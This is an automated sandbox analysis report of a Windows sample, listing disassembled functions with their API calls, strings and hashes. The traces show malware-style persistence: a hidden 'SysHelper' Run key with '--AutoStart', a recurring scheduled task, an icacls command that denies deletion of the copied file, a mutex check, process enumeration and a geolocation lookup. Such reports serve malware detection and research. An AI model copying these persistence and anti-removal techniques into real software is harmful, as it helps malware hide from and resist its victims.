Function 00419F90 Relevance: 176.6, APIs: 65, Strings: 35, Instructions: 1565COMMON

Download Yara Rule

APIs

Part of subcall function 0040CF10: _memset.LIBCMT ref: 0040CF4A
Part of subcall function 0040CF10: InternetOpenW.WININET(Microsoft Internet Explorer,00000000,00000000,00000000,00000000), ref: 0040CF5F
Part of subcall function 0040CF10: InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0040CFA6

GetCurrentProcess.KERNEL32 ref: 00419FC4
GetLastError.KERNEL32 ref: 00419FD2
SetPriorityClass.KERNEL32(00000000,00000080), ref: 00419FDA
GetLastError.KERNEL32 ref: 00419FE4
GetModuleFileNameW.KERNEL32(00000000,?,00000400,00000400,?,?,00000000,006FB000,?), ref: 0041A0BB
PathRemoveFileSpecW.SHLWAPI(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0041A0C2
GetCommandLineW.KERNEL32(?,?), ref: 0041A161

Part of subcall function 004124E0: CreateMutexA.KERNEL32(00000000,00000000,{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}), ref: 004124FE
Part of subcall function 004124E0: GetLastError.KERNEL32 ref: 00412509
Part of subcall function 004124E0: CloseHandle.KERNEL32 ref: 0041251C

Strings

x*P, xrefs: 0041ACE4
x2Q, xrefs: 0041A856
D:\Program Files (x86)\Google\, xrefs: 0041B085
--Admin, xrefs: 0041A1B4, 0041A632
I:\5d2860c89d774.jpg, xrefs: 0041B32F
{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}, xrefs: 0041A8A0
F:\, xrefs: 0041B397
IsNotTask, xrefs: 0041A654
C:\Program Files (x86)\Mozilla Firefox\, xrefs: 0041AE5B
C:\Program Files\Internet Explorer\, xrefs: 0041AF73
IsNotAutoStart, xrefs: 0041A645
IsTask, xrefs: 0041A1EE, 0041A299
C:\Windows\, xrefs: 0041AE0F
D:\Program Files\Internet Explorer\, xrefs: 0041B0CB
<, xrefs: 0041A67B
{FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}, xrefs: 0041A8B6
X1P, xrefs: 0041A485
IsAutoStart, xrefs: 0041A1D0, 0041A273
C:\Program Files\Google\, xrefs: 0041AFB9
C:\Program Files\Mozilla Firefox\, xrefs: 0041AF2D
D:\Windows\, xrefs: 0041AFF3
runas, xrefs: 0041A6CE
C:\Program Files (x86)\Google\, xrefs: 0041AEE7
--Service, xrefs: 0041A30B
D:\Program Files (x86)\Mozilla Firefox\, xrefs: 0041B02E
list<T> too long, xrefs: 0041B669, 0041B673
--AutoStart, xrefs: 0041A2EC
7P, xrefs: 0041B164
D:\Program Files (x86)\Internet Explorer\, xrefs: 0041B062
D:\Program Files\Mozilla Firefox\, xrefs: 0041B0A8
--Task, xrefs: 0041A2CD
%username%, xrefs: 0041B283
C:\Program Files (x86)\Internet Explorer\, xrefs: 0041AEA1
--ForNetRes, xrefs: 0041A22E
D:\Program Files\Google\, xrefs: 0041B0EE

Memory Dump Source

Source File: 00000002.00000002.2077131980.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2077131980.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2077131980.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: ErrorLast$FileInternetOpen$ClassCloseCommandCreateCurrentHandleLineModuleMutexNamePathPriorityProcessRemoveSpec_memset
String ID: IsNotAutoStart$ IsNotTask$%username%$--Admin$--AutoStart$--ForNetRes$--Service$--Task$<$C:\Program Files (x86)\Google\$C:\Program Files (x86)\Internet Explorer\$C:\Program Files (x86)\Mozilla Firefox\$C:\Program Files\Google\$C:\Program Files\Internet Explorer\$C:\Program Files\Mozilla Firefox\$C:\Windows\$D:\Program Files (x86)\Google\$D:\Program Files (x86)\Internet Explorer\$D:\Program Files (x86)\Mozilla Firefox\$D:\Program Files\Google\$D:\Program Files\Internet Explorer\$D:\Program Files\Mozilla Firefox\$D:\Windows\$F:\$I:\5d2860c89d774.jpg$IsAutoStart$IsTask$X1P$list<T> too long$runas$x*P$x2Q${1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}${FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}$7P
API String ID: 2957410896-3144399390
Opcode ID: d015b84eba4a4434be79b711f18dbc426407edb0061b691a0cb40fbdcb0bdc00
Instruction ID: ef0c4ad91a93ebed44a25fa424fadbe3f4bc75453965ff7ad5f6b92dd0de7051
Opcode Fuzzy Hash: d015b84eba4a4434be79b711f18dbc426407edb0061b691a0cb40fbdcb0bdc00
Instruction Fuzzy Hash: 99D2F670604341ABD710EF21D895BDF77E5BF94308F00492EF48587291EB78AA99CB9B

Function 0040D240 Relevance: 58.5, APIs: 25, Strings: 8, Instructions: 702
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitialize.OLE32(00000000), ref: 0040D26C
CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000006,00000003,00000000,00000000,00000000), ref: 0040D28F
CoCreateInstance.OLE32(004D506C,00000000,00000001,004D4FEC,?,?,00000000,000000FF), ref: 0040D2D5
VariantInit.OLEAUT32(?), ref: 0040D2F0
VariantInit.OLEAUT32(?), ref: 0040D309
VariantInit.OLEAUT32(?), ref: 0040D322
VariantInit.OLEAUT32(?), ref: 0040D33B
VariantClear.OLEAUT32(?), ref: 0040D397
VariantClear.OLEAUT32(?), ref: 0040D3A4
VariantClear.OLEAUT32(?), ref: 0040D3B1
VariantClear.OLEAUT32(?), ref: 0040D3C2
CoUninitialize.OLE32 ref: 0040D3D5

Strings

RegisterTaskDefinition. Err: %X, xrefs: 0040DA11
Trigger1, xrefs: 0040D6FA
--Task, xrefs: 0040D8DD
%Y-%m-%dT%H:%M:%S, xrefs: 0040D790
PT5M, xrefs: 0040D5A1, 0040D66C
Time Trigger Task, xrefs: 0040D43C, 0040D973
Author Name, xrefs: 0040D4C8
2030-05-02T08:00:00, xrefs: 0040D737

Memory Dump Source

Source File: 00000002.00000002.2077131980.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2077131980.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2077131980.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: Variant$ClearInit$Initialize$CreateInstanceSecurityUninitialize
String ID: %Y-%m-%dT%H:%M:%S$--Task$2030-05-02T08:00:00$Author Name$PT5M$RegisterTaskDefinition. Err: %X$Time Trigger Task$Trigger1
API String ID: 2496729271-1738591096
Opcode ID: e85d920e4c80818efeaee1da1ba528809e92032e84bc46f79e75b20126437919
Instruction ID: 4ad9c2e8017b41c765d67f99bb49247a0c13fc41f24acee5688789d455a97b09
Opcode Fuzzy Hash: e85d920e4c80818efeaee1da1ba528809e92032e84bc46f79e75b20126437919
Instruction Fuzzy Hash: 05526F70E00219DFDB10DFA8C858FAEBBB4EF49304F1481A9E505BB291DB74AD49CB95

Function 00412220 Relevance: 36.9, APIs: 16, Strings: 5, Instructions: 116
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCommandLineW.KERNEL32 ref: 00412235
CommandLineToArgvW.SHELL32(00000000,?), ref: 00412240
PathFindFileNameW.SHLWAPI(00000000), ref: 00412248
LoadLibraryW.KERNEL32(kernel32.dll), ref: 00412256
GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 0041226A
GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 00412275
GetProcAddress.KERNEL32(00000000,GetModuleBaseNameW), ref: 00412280
LoadLibraryW.KERNEL32(Psapi.dll), ref: 00412291
GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 0041229F
GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 004122AA
GetProcAddress.KERNEL32(00000000,GetModuleBaseNameW), ref: 004122B5
K32EnumProcesses.KERNEL32(?,0000A000,?), ref: 004122CD
OpenProcess.KERNEL32(00000410,00000000,?), ref: 004122FE
K32EnumProcessModules.KERNEL32(00000000,?,00000004,?), ref: 00412315
K32GetModuleBaseNameW.KERNEL32(00000000,?,?,00000400), ref: 0041232C
CloseHandle.KERNEL32(00000000), ref: 00412347

Strings

GetModuleBaseNameW, xrefs: 00412277, 004122AC
Psapi.dll, xrefs: 0041228C
kernel32.dll, xrefs: 0041224E
EnumProcessModules, xrefs: 0041226C, 004122A1
EnumProcesses, xrefs: 00412264, 00412299

Memory Dump Source

Source File: 00000002.00000002.2077131980.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2077131980.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2077131980.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: AddressProc$CommandEnumLibraryLineLoadNameProcess$ArgvBaseCloseFileFindHandleModuleModulesOpenPathProcesses
String ID: EnumProcessModules$EnumProcesses$GetModuleBaseNameW$Psapi.dll$kernel32.dll
API String ID: 3668891214-3807497772
Opcode ID: 2e762e749b316a475bae0755eecf3fc9a9c12245de4757d4cc138c5fb7e97d1c
Instruction ID: 197cd9f83d52dd112842658ec983a676e251e24b3cd7e802a51fbc3a937a58d5
Opcode Fuzzy Hash: 2e762e749b316a475bae0755eecf3fc9a9c12245de4757d4cc138c5fb7e97d1c
Instruction Fuzzy Hash: A3315371E0021DAFDB11AFE5DC45EEEBBB8FF45704F04406AF904E2190DA749A418FA5

Function 0040CF10 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 228
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 0040CF4A
InternetOpenW.WININET(Microsoft Internet Explorer,00000000,00000000,00000000,00000000), ref: 0040CF5F
InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0040CFA6
InternetReadFile.WININET(00000000,?,00002800,?), ref: 0040CFCD
InternetCloseHandle.WININET(00000000), ref: 0040CFDA
InternetCloseHandle.WININET(00000000), ref: 0040CFDD

Strings

https://api.2ip.ua/geo.json, xrefs: 0040CF79
"country_code":", xrefs: 0040CFE1
Microsoft Internet Explorer, xrefs: 0040CF5A

Memory Dump Source

Source File: 00000002.00000002.2077131980.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2077131980.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2077131980.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleOpen$FileRead_memset
String ID: "country_code":"$Microsoft Internet Explorer$https://api.2ip.ua/geo.json
API String ID: 1485416377-2962370585
Opcode ID: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction ID: 63dc5d72282b855868e1768d03255ed744c0e271f8772f8e66d922d9032ce3a5
Opcode Fuzzy Hash: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction Fuzzy Hash: 0F91B470D00218EBDF10DF90DD55BEEBBB4AF05308F14416AE4057B2C1DBBA5A89CB59

Function 00411CD0 Relevance: 79.1, APIs: 36, Strings: 9, Instructions: 382
stringregistrylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNEL32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D12
_memset.LIBCMT ref: 00411D3B
RegQueryValueExW.KERNEL32(?,SysHelper,00000000,?,?,00000400), ref: 00411D63
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D6C
lstrlenA.KERNEL32(" --AutoStart,?,?), ref: 00411DD6
PathFileExistsW.SHLWAPI(?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,-00000001), ref: 00411E48
LoadLibraryW.KERNEL32(Shell32.dll,?,?), ref: 00411E99
GetProcAddress.KERNEL32(00000000,SHGetFolderPathW), ref: 00411EA5
GetCommandLineW.KERNEL32 ref: 00411EB4
CommandLineToArgvW.SHELL32(00000000,00000000), ref: 00411EBF
lstrcpyW.KERNEL32(?,00000000), ref: 00411ECE
PathFindFileNameW.SHLWAPI(?), ref: 00411EDB
UuidCreate.RPCRT4(?), ref: 00411EFC
UuidToStringW.RPCRT4(?,?), ref: 00411F14
RpcStringFreeW.RPCRT4(00000000), ref: 00411F64
PathAppendW.SHLWAPI(?,?), ref: 00411F83
CreateDirectoryW.KERNEL32(?,00000000), ref: 00411F8E
PathAppendW.SHLWAPI(?,?,?,?), ref: 0041202D
DeleteFileW.KERNEL32(?), ref: 00412036
CopyFileW.KERNEL32(?,?,00000000), ref: 0041204C
RegOpenKeyExW.KERNEL32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?), ref: 0041206E
_memset.LIBCMT ref: 00412090
lstrcpyW.KERNEL32(?,005002FC), ref: 004120AA
lstrcatW.KERNEL32(?,?), ref: 004120C0
lstrcatW.KERNEL32(?," --AutoStart), ref: 004120CE
lstrlenW.KERNEL32(?), ref: 004120D7
RegSetValueExW.KERNEL32(00000000,SysHelper,00000000,00000002,?,00000000), ref: 004120F3
RegCloseKey.ADVAPI32(00000000), ref: 004120FC
_memset.LIBCMT ref: 00412120
SetLastError.KERNEL32(00000000), ref: 00412146
lstrcpyW.KERNEL32(?,icacls "), ref: 00412158
lstrcatW.KERNEL32(?,?), ref: 0041216D

Strings

" --AutoStart, xrefs: 004120C2
SysHelper, xrefs: 00411D5B, 004120EB
" --AutoStart, xrefs: 00411DD1
icacls ", xrefs: 0041214C
D, xrefs: 00412128
Software\Microsoft\Windows\CurrentVersion\Run, xrefs: 00411D06, 00412064
SHGetFolderPathW, xrefs: 00411E9F
" /deny *S-1-1-0:(OI)(CI)(DE,DC), xrefs: 0041216F
Shell32.dll, xrefs: 00411E94

Memory Dump Source

Source File: 00000002.00000002.2077131980.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2077131980.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2077131980.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: FilePath$_memsetlstrcatlstrcpy$AppendCloseCommandCreateLineOpenStringUuidValuelstrlen$AddressArgvCopyDeleteDirectoryErrorExistsFindFreeLastLibraryLoadNameProcQuery
String ID: " --AutoStart$" --AutoStart$" /deny *S-1-1-0:(OI)(CI)(DE,DC)$D$SHGetFolderPathW$Shell32.dll$Software\Microsoft\Windows\CurrentVersion\Run$SysHelper$icacls "
API String ID: 2589766509-1182136429
Opcode ID: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction ID: 715e32bd1e023583792331b7dbf49be96a7b9f80df69a50876529e1503cb0a0b
Opcode Fuzzy Hash: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction Fuzzy Hash: 51E14171D00219EBDF24DBA0DD89FEE77B8BF04304F14416AE609E6191EB786A85CF58

Function 00423576 Relevance: 15.3, APIs: 10, Instructions: 258
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 004235B1

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

__gmtime64_s.LIBCMT ref: 0042364A
__gmtime64_s.LIBCMT ref: 00423680
__gmtime64_s.LIBCMT ref: 0042369D
__allrem.LIBCMT ref: 004236F3
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0042370F
__allrem.LIBCMT ref: 00423726
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00423744
__allrem.LIBCMT ref: 0042375B
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00423779

Memory Dump Source

Source File: 00000002.00000002.2077131980.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2077131980.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2077131980.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit_memset
String ID:
API String ID: 1503770280-0
Opcode ID: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction ID: ab95fd8d4aa8d0004faaa41ec126efad4d06c0b8c45c9850b5361983c80b405c
Opcode Fuzzy Hash: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction Fuzzy Hash: 6E7108B1B00726BBD7149E6ADC41B5AB3B8AF40729F54823FF514D6381E77CEA408798

Function 00423B4C Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_malloc.LIBCMT ref: 00423B64

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(006F0000,00000000,00000001,?,?,?,?,00423B69,?), ref: 00420CA5

std::exception::exception.LIBCMT ref: 00423B82
__CxxThrowException@8.LIBCMT ref: 00423B97

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,?,<yP,?,?,?,?,?,00423B9C,?,0050793C,?,00000001), ref: 00430F1F

Strings

bad allocation, xrefs: 00423B77

Memory Dump Source

Source File: 00000002.00000002.2077131980.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2077131980.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2077131980.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: AllocateExceptionException@8HeapRaiseThrow_mallocstd::exception::exception
String ID: bad allocation
API String ID: 3074076210-2104205924
Opcode ID: 241cfa4299846a07ecc57268e606ba0db0d865f968b84549374c8695ce3f7968
Instruction ID: 445f5c97f97310cbd08f0009147839d9c604c92f3643d32107fe893a2d7397f3
Opcode Fuzzy Hash: 241cfa4299846a07ecc57268e606ba0db0d865f968b84549374c8695ce3f7968
Instruction Fuzzy Hash: 74F0F97560022D66CB00AF99EC56EDE7BECDF04315F40456FFC04A2282DBBCAA4486DD

Function 00427B0B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 7
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

___crtCorExitProcess.LIBCMT ref: 00427B11

Part of subcall function 00427AD7: GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,?,?,i;B,00427B16,i;B,?,00428BCA,000000FF,0000001E,00507BD0,00000008,00428B0E,i;B,i;B), ref: 00427AE6
Part of subcall function 00427AD7: GetProcAddress.KERNEL32(?,CorExitProcess), ref: 00427AF8

ExitProcess.KERNEL32 ref: 00427B1A

Strings

i;B, xrefs: 00427B0E

Memory Dump Source

Source File: 00000002.00000002.2077131980.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2077131980.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2077131980.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: ExitProcess$AddressHandleModuleProc___crt
String ID: i;B
API String ID: 2427264223-472376889
Opcode ID: 1085377ae278e01a80d78c7627d5840b2da43c7aca63d5a85146659919477565
Instruction ID: 59367741208a4d0b8125be5957acfda0e57e61d39344a7bf1a3f5abf2379cf84
Opcode Fuzzy Hash: 1085377ae278e01a80d78c7627d5840b2da43c7aca63d5a85146659919477565
Instruction Fuzzy Hash: 0DB09230404108BBCB052F52EC0A85D3F29EB003A0B408026F90848031EBB2AA919AC8

Function 0040EF50 Relevance: 4.6, APIs: 3, Instructions: 57
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_malloc.LIBCMT ref: 0040EF69

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(006F0000,00000000,00000001,?,?,?,?,00423B69,?), ref: 00420CA5

_malloc.LIBCMT ref: 0040EF85
_memset.LIBCMT ref: 0040EF9B

Memory Dump Source

Source File: 00000002.00000002.2077131980.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2077131980.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2077131980.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: _malloc$AllocateHeap_memset
String ID:
API String ID: 3655941445-0
Opcode ID: 030ce5304eb8d874ea407c5a52bd42f85663f8070df60884b58911fa6b375070
Instruction ID: 5fa84ec4042e21db229fa26042ce02b7cce951e2f5e2b33d0654eda62efe4b83
Opcode Fuzzy Hash: 030ce5304eb8d874ea407c5a52bd42f85663f8070df60884b58911fa6b375070
Instruction Fuzzy Hash: 06110631600624EFCB10DF99D881A5ABBB5FF89314F2445A9E9489F396D731B912CBC1

Function 0042FB64 Relevance: 3.0, APIs: 2, Instructions: 17
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__lock.LIBCMT ref: 0042FB7B

Part of subcall function 00428AF7: __mtinitlocknum.LIBCMT ref: 00428B09
Part of subcall function 00428AF7: __amsg_exit.LIBCMT ref: 00428B15
Part of subcall function 00428AF7: EnterCriticalSection.KERNEL32(i;B,?,004250D7,0000000D), ref: 00428B22

__tzset_nolock.LIBCMT ref: 0042FB8E

Part of subcall function 0042FE47: __lock.LIBCMT ref: 0042FE6C
Part of subcall function 0042FE47: ____lc_codepage_func.LIBCMT ref: 0042FEB3
Part of subcall function 0042FE47: __getenv_helper_nolock.LIBCMT ref: 0042FED4
Part of subcall function 0042FE47: _free.LIBCMT ref: 0042FF07
Part of subcall function 0042FE47: _strlen.LIBCMT ref: 0042FF0E
Part of subcall function 0042FE47: __malloc_crt.LIBCMT ref: 0042FF15

Memory Dump Source

Source File: 00000002.00000002.2077131980.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2077131980.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2077131980.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: __lock$CriticalEnterSection____lc_codepage_func__amsg_exit__getenv_helper_nolock__malloc_crt__mtinitlocknum__tzset_nolock_free_strlen
String ID:
API String ID: 1282695788-0
Opcode ID: 92963a37b1ac55d125e1d9796c7b8053ccc5c5112960f7952bb2c963dcdaa470
Instruction ID: e2ddc43a93f61bf79f0790849a809cb79cc8f4f227a559e0d4967367be19fad2
Opcode Fuzzy Hash: 92963a37b1ac55d125e1d9796c7b8053ccc5c5112960f7952bb2c963dcdaa470
Instruction Fuzzy Hash: 69E0BF35E41664DAD620A7A2F91B75C7570AB14329FD0D16F9110111D28EBC15C8DA2E

Function 00416950 Relevance: 1.6, APIs: 1, Instructions: 100
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception.LIBCPMT ref: 004169DF

Memory Dump Source

Source File: 00000002.00000002.2077131980.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2077131980.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2077131980.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception
String ID:
API String ID: 120817956-0
Opcode ID: a31d16f5a38f4e24756d12eddb8380dded489bd2038aeda05616f964103f0abb
Instruction ID: aa06b8048d3bf760f527e7d0bbb9ad0a08af858ba63749c6f8d7f01112261dfe
Opcode Fuzzy Hash: a31d16f5a38f4e24756d12eddb8380dded489bd2038aeda05616f964103f0abb
Instruction Fuzzy Hash: E731E3B2A006059BCB20DF68C5816AEB7F9EF45750F21823FE856D7740DB38DD448BA9

Function 00427F3D Relevance: 1.5, APIs: 1, Instructions: 9
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_doexit.LIBCMT ref: 00427F47

Part of subcall function 00427E0E: __lock.LIBCMT ref: 00427E1C
Part of subcall function 00427E0E: DecodePointer.KERNEL32(00507B08,0000001C,00427CFB,00423B69,00000001,00000000,i;B,00427C49,000000FF,?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427E5B
Part of subcall function 00427E0E: DecodePointer.KERNEL32(?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427E6C
Part of subcall function 00427E0E: EncodePointer.KERNEL32(00000000,?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427E85
Part of subcall function 00427E0E: DecodePointer.KERNEL32(-00000004,?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427E95
Part of subcall function 00427E0E: EncodePointer.KERNEL32(00000000,?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427E9B
Part of subcall function 00427E0E: DecodePointer.KERNEL32(?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427EB1
Part of subcall function 00427E0E: DecodePointer.KERNEL32(?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427EBC

Memory Dump Source

Source File: 00000002.00000002.2077131980.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2077131980.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2077131980.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: Pointer$Decode$Encode$__lock_doexit
String ID:
API String ID: 2158581194-0
Opcode ID: e664eab0a2f8ce3703c552baf369986a84cdf03d3e0bf670d1975cdb5f15a4fc
Instruction ID: a7e7560d2adc556c6fb323ffd13f600db444db9a7111c1ec19eeb8b3048b151f
Opcode Fuzzy Hash: e664eab0a2f8ce3703c552baf369986a84cdf03d3e0bf670d1975cdb5f15a4fc
Instruction Fuzzy Hash: ABB01271A8430C33DA113642FC03F053B0C4740B54F610071FA0C2C5E1A593B96040DD

Function 00412900 Relevance: 1.3, APIs: 1, Instructions: 63
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000010,-00000400,-00000400), ref: 00412966

Memory Dump Source

Source File: 00000002.00000002.2077131980.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2077131980.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2077131980.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide
String ID:
API String ID: 626452242-0
Opcode ID: 9923f7c5fc9e2703d867ea7c919ad7633f5c387dee158893e4253aa1c6881e72
Instruction ID: 3b43283c781d39060a285e1a990033b4cd03b7dd602a36c1420ec248ee7b7319
Opcode Fuzzy Hash: 9923f7c5fc9e2703d867ea7c919ad7633f5c387dee158893e4253aa1c6881e72
Instruction Fuzzy Hash: 0411B171A00219EBDF00DF59DC41BDFBBA8EF05718F00452AF819A7280D7BE99558BDA

Non-executed Functions

Function 00481920 Relevance: 121.3, APIs: 41, Strings: 28, Instructions: 587libraryloaderCOMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32(00000094), ref: 00481983
LoadLibraryA.KERNEL32(ADVAPI32.DLL), ref: 00481994
LoadLibraryA.KERNEL32(KERNEL32.DLL), ref: 004819A1
